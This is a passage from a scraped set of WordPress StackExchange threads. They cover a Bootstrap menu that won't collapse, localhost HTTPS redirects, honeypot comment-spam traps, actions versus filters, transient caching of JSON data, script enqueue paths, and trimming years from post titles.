get_stylesheet_uri() ); } add_action("wp_enqueue_scripts", "winetours_scripts"); function winetours_setup() { register_nav_menus( array( "primary" =&gt; "Primary Menu", "winetour" )); //Add theme support for document title tag add_theme_support( "title-tag" ); } add_action( "after_setup_theme", "winetours_setup"); //Adds the padding to the top of menu for logged in with toolbar function admin_bar_menu() { if ( is_user_logged_in() ){ $current_user = wp_get_current_user(); if (user_can( $current_user, 'administrator' )) { echo "admin-nav"; } } } </code></pre>
[ { "answer_id": 285678, "author": "Misha Rudrastyh", "author_id": 85985, "author_profile": "https://wordpress.stackexchange.com/users/85985", "pm_score": 0, "selected": false, "text": "<p>Well, if you can access /wp-admin/, the solution is pretty simple - clean your browser cache or try to open your website in incognito tab.</p>\n" }, { "answer_id": 315753, "author": "lookiron", "author_id": 151679, "author_profile": "https://wordpress.stackexchange.com/users/151679", "pm_score": 0, "selected": false, "text": "<p>You should comment out these lines in <code>.htaccess</code> file </p>\n\n<pre><code>#RewriteCond %{ENV:HTTPS} !=on\n#RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]\n</code></pre>\n" }, { "answer_id": 321410, "author": "busythomas", "author_id": 153125, "author_profile": "https://wordpress.stackexchange.com/users/153125", "pm_score": 3, "selected": false, "text": "<p>Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://.</p>\n\n<p>And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8):</p>\n\n<pre><code>define('FORCE_SSL', false);\ndefine('FORCE_SSL_ADMIN', false);\n</code></pre>\n\n<p>Good luck!</p>\n" }, { "answer_id": 351107, "author": "Arif I.", "author_id": 138483, "author_profile": "https://wordpress.stackexchange.com/users/138483", "pm_score": 3, "selected": false, "text": "<p>Make sure you don't have installed and activated a plugin that forces a redirection to HTTPS, for example, the <a href=\"https://wordpress.org/plugins/really-simple-ssl/\" rel=\"noreferrer\">Really Simple SSL</a>. If you have one, deactivate it on the localhost by renaming the plugin folder name, e.g. rename it from <code>\"really-simple-ssl\"</code> to <code>\"really-simple-ssl_deactivated\"</code>. Now you should be able to access your <code>wp-admin</code> URL.</p>\n" }, { "answer_id": 374473, "author": "pensebien", "author_id": 189698, "author_profile": "https://wordpress.stackexchange.com/users/189698", "pm_score": 0, "selected": false, "text": "<p>You can easily do it with <code>wp cli</code>.</p>\n<ol>\n<li>Install <code>wp-cli</code> using the instruction <a href=\"https://wp-cli.org#installing\" rel=\"nofollow noreferrer\">here</a></li>\n<li>run <code>wp plugin deactivate really-simple-ssl</code> from terminal.</li>\n</ol>\n<p>You can also add autocomplete to your bash terminal so you can easily see suggestion of plugins you have installed.</p>\n" } ]
2017/11/12
[ "https://wordpress.stackexchange.com/questions/285682", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130103/" ]
The theme I am creating is not working correctly. The menu is not collapsing into mobile view with the hamburger icon when I decrease screen size. I can see all the classes when using the inspect tool on Chrome. What I have tried: 1. Compared the code to a theme I made as exercise and it looks exactly the same. 2. Pasted the navbar example from bootstrap directly and tested(didn't collapse either). 3. Used the links on bootstrap like <https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css> and <https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js> to make use of the styling and functionality. 4. Downloaded the bootstrap files and linked it locally. Please see my header.php and functions.php below: **Header.php** ``` <!DOCTYPE html> <head> <title></title> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <nav class="navbar navbar-default navbar-fixed-top <?php admin_bar_menu(); ?>"> <div class="container-fluid menu-container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="<?php echo esc_url( home_url('/')); ?>"><?php bloginfo( 'name' ); ?></a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <?php wp_nav_menu(array( 'theme_location' => 'primary', 'menu_class' => 'nav navbar-nav navbar-right', 'fallback_cb' => false )); ?> </div> </div> </nav> ``` **Functions.php** ``` <?php function winetours_scripts() { wp_enqueue_script( "bootstrap-js", get_template_directory_uri() . "/bootstrap/js/bootstrap.min.js", array("jquery") ); wp_enqueue_style( "bootstrap", get_template_directory_uri() . "/bootstrap/css/bootstrap.min.css"); wp_enqueue_style( "winetour-style" , get_stylesheet_uri() ); } add_action("wp_enqueue_scripts", "winetours_scripts"); function winetours_setup() { register_nav_menus( array( "primary" => "Primary Menu", "winetour" )); //Add theme support for document title tag add_theme_support( "title-tag" ); } add_action( "after_setup_theme", "winetours_setup"); //Adds the padding to the top of menu for logged in with toolbar function admin_bar_menu() { if ( is_user_logged_in() ){ $current_user = wp_get_current_user(); if (user_can( $current_user, 'administrator' )) { echo "admin-nav"; } } } ```
Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://. And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8): ``` define('FORCE_SSL', false); define('FORCE_SSL_ADMIN', false); ``` Good luck!
285,699
<p>I would like to implement a solution for fighting comment spam and the approach is simple. I would like that every comment that has the "website" field filled to be automatically marked as spam.</p> <p>In addition, a small warning should be displayed before or after submission telling the user that his message will be marked as spam if he uses the "website" field. &lt; This is not mandatory</p> <p>What would be the best approach in order to accomplish that?</p>
[ { "answer_id": 285720, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": false, "text": "<p>If you don't want people filling website field, simply remove it from the form. Put this code in <code>functions.php</code> of your current theme:</p>\n\n<pre><code>function wpse_remove_comment_url($fields) { \n unset($fields['url']);\n return $fields;\n}\nadd_filter('comment_form_default_fields', 'wpse_remove_comment_url');\n</code></pre>\n\n<p>It is more logical than showing the field and advising users against using it.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>To not confuse users, and fool some bots, let's make <code>url</code> field invisible to users, and readable to bots. Add this to <code>style.css</code>:</p>\n\n<pre><code>p.comment-form-url { display: none }\n</code></pre>\n\n<p>Check <code>url</code> field on submission, if it is not empty, you have possible spam comment. Why possible? Because, today's, more sophisticated bots, can scan CSS, and JS scripts, to avoid traps. At least, this is a starting point.</p>\n" }, { "answer_id": 285750, "author": "Self Designs", "author_id": 75780, "author_profile": "https://wordpress.stackexchange.com/users/75780", "pm_score": -1, "selected": false, "text": "<p>There's a better way to fight spam. If you look into WooCommerce's source code you can find some code that absolute positions a field off the webpage. Calling it \"email_2\" so bots think it's some kind of email confirmation. Since bots parse through HTML they will see it but as it's absolute positioned off the screen humans never do. You need to remember to remove it from tab indexing and autocomplete but there are html attributes that do this.</p>\n\n<pre><code>&lt;form action=\"#\" method=\"post\"&gt;\n &lt;label&gt;Email Address&lt;/label&gt;\n &lt;input type=\"hidden\" name=\"form_sent\" /&gt;\n &lt;p&gt;&lt;input type=\"email\" class=\"subscription-email\" name=\"subscripton_email\" /&gt;&lt;/p&gt;\n &lt;p style=\"left:-999em; position:absolute;\"&gt;&lt;input type=\"email\" name=\"email_2\" tabindex=\"-1\" autocomplete=\"off\" /&gt;&lt;/p&gt;&lt;!-- Spam trap --&gt;\n&lt;p&gt;&lt;input type=\"submit\" name=\"subscription\" value=\"Sign Up\" /&gt;&lt;/p&gt;\n</code></pre>\n\n<p></p>\n\n<p>This is an example from a plugin I created which implements this idea. Just check if $_POST['email_2'] exists when the form has been submitted. If it's been filled in then it's probably spam.</p>\n" }, { "answer_id": 285751, "author": "Kristian Kalvå", "author_id": 97184, "author_profile": "https://wordpress.stackexchange.com/users/97184", "pm_score": 0, "selected": false, "text": "<p>What you're describing here would be bad UX, there are plenty legitimate users with a website of their own who will want to fill out the website field (like myself).</p>\n\n<p>The honeypot strategy works better when you have a field that a normal user won't see, but bots just looking at the markup will. However it isn't too hard get around that issue.</p>\n\n<p>The best way to fight comment spam is to install Akismet. Akismet is made for this specific task and works wonders at fighting comment spam. OR you could do what nrkbeta.no does, which is to require people to answer a quiz before they're allowed to respond: <a href=\"http://www.niemanlab.org/2017/03/this-site-is-taking-the-edge-off-rant-mode-by-making-readers-pass-a-quiz-before-commenting/\" rel=\"nofollow noreferrer\">http://www.niemanlab.org/2017/03/this-site-is-taking-the-edge-off-rant-mode-by-making-readers-pass-a-quiz-before-commenting/</a></p>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131319/" ]
I would like to implement a solution for fighting comment spam and the approach is simple. I would like that every comment that has the "website" field filled to be automatically marked as spam. In addition, a small warning should be displayed before or after submission telling the user that his message will be marked as spam if he uses the "website" field. < This is not mandatory What would be the best approach in order to accomplish that?
If you don't want people filling website field, simply remove it from the form. Put this code in `functions.php` of your current theme: ``` function wpse_remove_comment_url($fields) { unset($fields['url']); return $fields; } add_filter('comment_form_default_fields', 'wpse_remove_comment_url'); ``` It is more logical than showing the field and advising users against using it. **UPDATE** To not confuse users, and fool some bots, let's make `url` field invisible to users, and readable to bots. Add this to `style.css`: ``` p.comment-form-url { display: none } ``` Check `url` field on submission, if it is not empty, you have possible spam comment. Why possible? Because, today's, more sophisticated bots, can scan CSS, and JS scripts, to avoid traps. At least, this is a starting point.
285,705
<p>im trying to understand how Action Hooks and Filters work and have this example i want to edit</p> <p>This function is in a parent theme framework php file:</p> <pre><code>public function formatArticleCat01( $show_category = false, $shorten_text_chars = 300, $show_date = true, $show_comments = false, $show_author = false, $show_views = false ) { $sFigure = ( $this-&gt;article_thumb != '' ) ? '&lt;div class="col-sm-6 col-md-4 col-lg-5"&gt;'. $this-&gt;getReviewScore() .'' .$this-&gt;getFigureSmall() .'&lt;/div&gt;&lt;div class="col-sm-6 col-md-8 col-lg-7"&gt;' : '&lt;div class="col-xs-12"&gt;'; return '&lt;div class="row clearfix"&gt; &lt;!-- start:article.default --&gt; &lt;article class="def"&gt; '. $sFigure .' &lt;div class="entry"&gt; '. ( $show_category ? $this-&gt;getCategoryLabelSpan() : '' ) .' &lt;h3 itemprop="name"&gt; &lt;a itemprop="url" href="'. get_permalink($this-&gt;article_link) .'"&gt;'. $this-&gt;article_title .'&lt;/a&gt; &lt;/h3&gt; &lt;div class="entry-meta"&gt; '. ( $show_date ? $this-&gt;getPostDateMeta() : '' ) .' '. ( $show_author ? $this-&gt;getAuthorMeta() : '' ) .' '. ( $show_comments ? $this-&gt;getCommentCountMeta() : '' ).' '. ( $show_views ? $this-&gt;getViewsLabelSpan() : '' ) .' &lt;/div&gt; &lt;div class="text hidden-xs"&gt; '. MipThemeFramework_Util::ShortenText($this-&gt;article_content, $shorten_text_chars) .' &lt;/div&gt; '. $this-&gt;getStarRatingLabelSpan() .' &lt;/div&gt; &lt;/div&gt; &lt;/article&gt; &lt;!-- end:article.default --&gt; &lt;/div&gt;'; } </code></pre> <p>So lets say i want to add another class to that div just in this line</p> <pre><code>$sFigure = ( $this-&gt;article_thumb != '' ) ? '&lt;div class="col-sm-6 col-md-4 col-lg-5"&gt;'. $this-&gt;getReviewScore() .'' .$this-&gt;getFigureSmall() .'&lt;/div&gt;&lt;div class="col-sm-6 col-md-8 col-lg-7"&gt;' : '&lt;div class="col-xs-12"&gt;'; </code></pre> <p>It should work with a filter hook right? Can someone help me to understand the functionality of filter hooks and make this example work</p> <p>I have no clue what to add in my child theme functions.php file to prevent the loss of the changes when i update the theme.</p> <p>Hope someone can help me </p> <p>Thanks</p>
[ { "answer_id": 285707, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": false, "text": "<p>Filters are for modifying the data, but actions are like bus stops where you can attach your functions to theme and they will be run when the script reaches an specific state.</p>\n\n<p>To use any of the above, they must be first declared somewhere. Let's take a look at this example from the codex page of <a href=\"https://developer.wordpress.org/reference/functions/apply_filters/\" rel=\"nofollow noreferrer\"><code>apply_filters</code></a>:</p>\n\n<pre><code>// Function that modifies the data\nfunction example_callback( $string, $arg1, $arg2 ) {\n // (maybe) modify $string\n return $string;\n}\n// The filter used by user\nadd_filter( 'example_filter', 'example_callback', 10, 3 );\n\n// Declaration of the filter by the person who \n$value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 );\n</code></pre>\n\n<p>Now as you can see, the filter is declared and given a name by using <code>$data = apply_filters( ... )</code>. Then, somewhere else in the code it is called by using <code>add_filter( ... )</code>. So, if you have no filter declared attached to that data, there is no way you can filter that piece of data.</p>\n\n<p>Now about your code. It seems like you grabbed that piece of code from a class. Most decent developers use pluggable functions when they write their code. It means, they define their classes and functions as follows:</p>\n\n<pre><code>if ( ! class_exists( 'some_class' ) {\n class some_class {\n // Class code here\n }\n}\n</code></pre>\n\n<p>This allows the user to override that specific class or function, by simply defining it himself. Take a look at your code. If it's following the same practice, then you can copy the class to your child theme's <code>functions.php</code> file, and modify the parts of it you wish.</p>\n" }, { "answer_id": 285721, "author": "Digvijayad", "author_id": 118765, "author_profile": "https://wordpress.stackexchange.com/users/118765", "pm_score": 0, "selected": false, "text": "<p>In layman's term Filters are used to modify or change an existing data such as content of a post, or any other defined value. Actions on the hand do something when a particular thing is run. </p>\n\n<p>For both actions and filter you have to declare them first, i.e in case of filters you must define what can be changed using a filter, and for actions hooks what will cause the action to run. </p>\n\n<p><strong>Note:</strong>\nIn your above example, there is no mention of any <code>filter</code>, therefore the only way for you to modify that function is to copy it in your child theme's <code>function.php</code> file and add a class manually.</p>\n\n<p>Now to Understand how filters work, lets look at an example,</p>\n\n<p>Lets' say you want to print an author's name, then you can apply a <code>filter</code> to it, so that in case you want to change the author's name you can do so without modifying the original function.</p>\n\n<pre><code>/*\n * - 'change_author_name_filter' is the filter hook $tag\n * - 'Digvijayad' is the value being filtered\n$author_name = apply_filter('change_author_name_filter', 'Digvijayad');\n</code></pre>\n\n<p>Now if you use <code>$author_name</code> then it will use <code>'Digvijayad'</code> as the default author name. However if you add a filter like the following.</p>\n\n<pre><code>// filter call_back\nfunction change_author_name( $author_name ){\n //here you can do whatever you want to author name;\n // you can modify it or replace it altogether.\n\n // To print 'Digvijayad &amp; Jack Johansson' you can do the following.\n // $author_name .= ' &amp; Jack Johansson';\n\n // or you can replace it altogether. \n $author_name = 'Jack Johansson';\n\n return $author_name;\n}\nadd_filter('change_author_name_filter', 'change_author_name', 10, 1);\n</code></pre>\n\n<p>Now if you use <code>$author_name</code> it will be replaced by <code>'Jack Johansson'</code></p>\n\n<p>As for Actions, they trigger a response when something is done. lets take Alarm as analogy. First you set a time for an alarm, and when the time is reached, the alarm clock plays a sound to tell you that it is time. </p>\n\n<p>Now with actions, you can tell the alarm clock to do other things such as 'call a friend' too when the time is reached. Now lets put this in code.</p>\n\n<p>Let's assume you have already set the time, now you set an <code>do_action</code> hook that will do something, when the time is up.</p>\n\n<pre><code>//code when time is checked\n// and now time is up\ndo_action('time_is_up'); //basically it will perform this action when ever the time is up\n</code></pre>\n\n<p>now you can add more actions to this particular event. From the analogy, you can now tell it to call a friend when 'time_is_up' actions is run.</p>\n\n<pre><code>// Now Whenever 'time_is_up' runs this function will run as well\nfunction call_friend(){\n //code for calling a friend;\n echo 'calling friend';\n}\nadd_action('time_is_up', 'call_friend', 10);\n</code></pre>\n\n<p>You can similarly add more actions to the same <code>'time_is_up'</code> action hook.\nFor example, maybe you also want to call your family member</p>\n\n<pre><code>function call_my_family(){\n //code to call my family\n echo 'calling family';\n}\nadd_action('time_is_up', 'call_my_family', 10);\n</code></pre>\n\n<p>Hopefully this simple explanation clears out your confusion about actions and filters.</p>\n\n<p>For more reading, you can read <a href=\"https://code.tutsplus.com/articles/the-beginners-guide-to-wordpress-actions-and-filters--wp-27373\" rel=\"nofollow noreferrer\">Tom McFralin's</a> article on Actions and Filters.</p>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285705", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131383/" ]
im trying to understand how Action Hooks and Filters work and have this example i want to edit This function is in a parent theme framework php file: ``` public function formatArticleCat01( $show_category = false, $shorten_text_chars = 300, $show_date = true, $show_comments = false, $show_author = false, $show_views = false ) { $sFigure = ( $this->article_thumb != '' ) ? '<div class="col-sm-6 col-md-4 col-lg-5">'. $this->getReviewScore() .'' .$this->getFigureSmall() .'</div><div class="col-sm-6 col-md-8 col-lg-7">' : '<div class="col-xs-12">'; return '<div class="row clearfix"> <!-- start:article.default --> <article class="def"> '. $sFigure .' <div class="entry"> '. ( $show_category ? $this->getCategoryLabelSpan() : '' ) .' <h3 itemprop="name"> <a itemprop="url" href="'. get_permalink($this->article_link) .'">'. $this->article_title .'</a> </h3> <div class="entry-meta"> '. ( $show_date ? $this->getPostDateMeta() : '' ) .' '. ( $show_author ? $this->getAuthorMeta() : '' ) .' '. ( $show_comments ? $this->getCommentCountMeta() : '' ).' '. ( $show_views ? $this->getViewsLabelSpan() : '' ) .' </div> <div class="text hidden-xs"> '. MipThemeFramework_Util::ShortenText($this->article_content, $shorten_text_chars) .' </div> '. $this->getStarRatingLabelSpan() .' </div> </div> </article> <!-- end:article.default --> </div>'; } ``` So lets say i want to add another class to that div just in this line ``` $sFigure = ( $this->article_thumb != '' ) ? '<div class="col-sm-6 col-md-4 col-lg-5">'. $this->getReviewScore() .'' .$this->getFigureSmall() .'</div><div class="col-sm-6 col-md-8 col-lg-7">' : '<div class="col-xs-12">'; ``` It should work with a filter hook right? Can someone help me to understand the functionality of filter hooks and make this example work I have no clue what to add in my child theme functions.php file to prevent the loss of the changes when i update the theme. Hope someone can help me Thanks
Filters are for modifying the data, but actions are like bus stops where you can attach your functions to theme and they will be run when the script reaches an specific state. To use any of the above, they must be first declared somewhere. Let's take a look at this example from the codex page of [`apply_filters`](https://developer.wordpress.org/reference/functions/apply_filters/): ``` // Function that modifies the data function example_callback( $string, $arg1, $arg2 ) { // (maybe) modify $string return $string; } // The filter used by user add_filter( 'example_filter', 'example_callback', 10, 3 ); // Declaration of the filter by the person who $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); ``` Now as you can see, the filter is declared and given a name by using `$data = apply_filters( ... )`. Then, somewhere else in the code it is called by using `add_filter( ... )`. So, if you have no filter declared attached to that data, there is no way you can filter that piece of data. Now about your code. It seems like you grabbed that piece of code from a class. Most decent developers use pluggable functions when they write their code. It means, they define their classes and functions as follows: ``` if ( ! class_exists( 'some_class' ) { class some_class { // Class code here } } ``` This allows the user to override that specific class or function, by simply defining it himself. Take a look at your code. If it's following the same practice, then you can copy the class to your child theme's `functions.php` file, and modify the parts of it you wish.
285,731
<p>I have a small shortcode which basically takes data from a JSON file and displays it on a page. The data in JSON is updated weekly, how can I use a transient so the data for the current week is cached?</p> <p>Here is my shortcode</p> <pre><code>function week_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); ?&gt; &lt;div class="table-responsive"&gt; &lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt; Title &lt;/th&gt; &lt;th&gt;Content&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach($days as $data) { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $data[0]; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;?php $output = ob_get_clean(); return $output; } </code></pre>
[ { "answer_id": 285733, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 3, "selected": false, "text": "<p>I add it the transient name to a variable to handle it easier.</p>\n\n<p>Next, I check if the return value from the <a href=\"https://developer.wordpress.org/reference/functions/get_transient/\" rel=\"nofollow noreferrer\"><code>get_transient</code></a> is false and update the variable name and the transient.\nYou can try this one:</p>\n\n<pre><code> $transient_name = 'cached_json_data';\n if ( false === ( $json_data = get_transient( $transient_name ) ) ) {\n $json_data = json_decode(file_get_contents('json_file'));\n set_transient( $transient_name, $json_data, WEEK_IN_SECONDS );\n }\n\n//normal code\n</code></pre>\n\n<p><strong>set_transient</strong></p>\n\n<blockquote>\n <p>You do not need to serialize values. If the value needs to be\n serialized, then it will be serialized before it is set.</p>\n</blockquote>\n\n<p>Constants WP 3.5+</p>\n\n<pre><code>MINUTE_IN_SECONDS = 60 (seconds)\nHOUR_IN_SECONDS = 60 * MINUTE_IN_SECONDS\nDAY_IN_SECONDS = 24 * HOUR_IN_SECONDS\nWEEK_IN_SECONDS = 7 * DAY_IN_SECONDS\nMONTH_IN_SECONDS = 30 * DAY_IN_SECONDS\nYEAR_IN_SECONDS = 365 * DAY_IN_SECONDS\n</code></pre>\n" }, { "answer_id": 285734, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 3, "selected": true, "text": "<p>Use this instead of the line in wich you define <code>$days</code> (your second line):</p>\n\n<pre><code>$transient = get_transient( 'your_transient_key' );\n\nif( !$transient ):\n\n $days = file_get_contents( 'json_file' );\n\n set_transient( 'your_transient_key', $days, DAY_IN_SECONDS*7 );\n\n\nelse:\n\n $days = $transient;\n\nendif;\n\n$days = json_decode( $days );\n\n... \n</code></pre>\n\n<p>May be a bit rough but you get the idea.</p>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285731", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92046/" ]
I have a small shortcode which basically takes data from a JSON file and displays it on a page. The data in JSON is updated weekly, how can I use a transient so the data for the current week is cached? Here is my shortcode ``` function week_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); ?> <div class="table-responsive"> <table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> </tr> </thead> <tbody> <?php foreach($days as $data) { ?> <tr> <td><?php echo $data[0]; ?></td> </tr> <?php } ?> </tbody> </table> </div> <?php $output = ob_get_clean(); return $output; } ```
Use this instead of the line in wich you define `$days` (your second line): ``` $transient = get_transient( 'your_transient_key' ); if( !$transient ): $days = file_get_contents( 'json_file' ); set_transient( 'your_transient_key', $days, DAY_IN_SECONDS*7 ); else: $days = $transient; endif; $days = json_decode( $days ); ... ``` May be a bit rough but you get the idea.
285,774
<p><a href="http://fitclaw.com" rel="nofollow noreferrer">Fitclaw</a></p> <p>I have problem with loading my css/js files. They're uploaded on ftp but i had to direct them with the whole path including domain because with ../ it didn't worked. That's for CSS. JS doesn't works i don't know why i please you to see the page source and i will upload here the functions.php from the bootstrap theme.</p> <pre><code>&lt;?php function add_theme_scripts(){ wp_enqueue_script('jquery', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js'); wp_enqueue_style( 'style', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/style.css' ); wp_enqueue_style( 'loader', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/loader.css'); wp_enqueue_style( 'font-awesome.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/font-awesome.min.css'); wp_enqueue_style( 'ie.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/ie.css'); wp_enqueue_style( 'normalize', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/normalize.css'); wp_enqueue_script( 'jquery.countdown.min.js', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.countdown.min.js',array ( 'jquery' ) ); wp_enqueue_script( 'main', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/main.js',array ( 'jquery' )); wp_enqueue_script( 'plugins', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/plugins.js',array(' jquery ')); } add_action( 'wp_enqueue_scripts', 'add_theme_scripts' ); ?&gt; </code></pre> <p>This is functions.php and it doesn't work. Thanks for your help</p>
[ { "answer_id": 285776, "author": "socki03", "author_id": 43511, "author_profile": "https://wordpress.stackexchange.com/users/43511", "pm_score": 2, "selected": false, "text": "<p>You seem to be loading both file/folder names into the queue.</p>\n\n<p><code>get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js</code></p>\n\n<p>should only be:</p>\n\n<p><code>get_template_directory_uri() . '/js/jquery.js'</code></p>\n\n<p>And so-on and so-forth.</p>\n\n<p>because <code>get_template_directory_uri</code> returns, or should be returning this string for you: <code>'http://fitclaw.com/wp-content/themes/Coming%20Soon/'</code></p>\n\n<p>And you should always try to use those relative paths versus hard-coding them.</p>\n" }, { "answer_id": 285777, "author": "Pavel Semchenko", "author_id": 124092, "author_profile": "https://wordpress.stackexchange.com/users/124092", "pm_score": 0, "selected": false, "text": "<p>NO</p>\n\n<pre><code>wp_enqueue_style( 'ie.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/ie.css');\n</code></pre>\n\n<p>YES</p>\n\n<pre><code>wp_enqueue_style( 'ie.min', get_template_directory_uri() . '/css/ie.css');\n</code></pre>\n" }, { "answer_id": 285780, "author": "Jim-miraidev", "author_id": 130369, "author_profile": "https://wordpress.stackexchange.com/users/130369", "pm_score": 0, "selected": false, "text": "<p>If you echo out you stylesheet directory in you functions.php</p>\n\n<pre><code>echo get_stylesheet_directory_uri();\n</code></pre>\n\n<p>you will be able to see the path that is being returned, you should be using</p>\n\n<pre><code>get_template_directory_uri() . '/js/file.js'\n</code></pre>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285774", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131425/" ]
[Fitclaw](http://fitclaw.com) I have problem with loading my css/js files. They're uploaded on ftp but i had to direct them with the whole path including domain because with ../ it didn't worked. That's for CSS. JS doesn't works i don't know why i please you to see the page source and i will upload here the functions.php from the bootstrap theme. ``` <?php function add_theme_scripts(){ wp_enqueue_script('jquery', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js'); wp_enqueue_style( 'style', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/style.css' ); wp_enqueue_style( 'loader', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/loader.css'); wp_enqueue_style( 'font-awesome.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/font-awesome.min.css'); wp_enqueue_style( 'ie.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/ie.css'); wp_enqueue_style( 'normalize', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/normalize.css'); wp_enqueue_script( 'jquery.countdown.min.js', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.countdown.min.js',array ( 'jquery' ) ); wp_enqueue_script( 'main', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/main.js',array ( 'jquery' )); wp_enqueue_script( 'plugins', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/plugins.js',array(' jquery ')); } add_action( 'wp_enqueue_scripts', 'add_theme_scripts' ); ?> ``` This is functions.php and it doesn't work. Thanks for your help
You seem to be loading both file/folder names into the queue. `get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js` should only be: `get_template_directory_uri() . '/js/jquery.js'` And so-on and so-forth. because `get_template_directory_uri` returns, or should be returning this string for you: `'http://fitclaw.com/wp-content/themes/Coming%20Soon/'` And you should always try to use those relative paths versus hard-coding them.
285,782
<p>In several post titles I have "years" (eg: "Lorem ipsum - 2018"), it's not a problem. But in another part of the blog I call these titles in PHP:</p> <p><code>$shortitle = wp_html_excerpt( get_the_title(), 23, '...' ); &lt;div class="col-md-9"&gt;' . $shortitle . '&lt;/div&gt;</code>. </p> <p>How could I remove the display of years in titles ? Thank you :)</p> <p>Update:</p> <p>Found the function str_replace, but it's weird for my case:</p> <pre><code> $title_long = get_the_title(); $excludeyears = array(" - 2017", " - 2018", " - 2019", " - 2020"); $title_long_exclude_years = str_replace($excludeyears, "", $title_long); $shortitle = wp_html_excerpt( $title_long_exclude_years, 23, '...' ); </code></pre> <p>it displays: </p> <blockquote> <p>Lorem ipsum – 201...</p> </blockquote> <p>Update 2:</p> <p>Okay, it's a problem with "-" character, but I dont have a solution.</p>
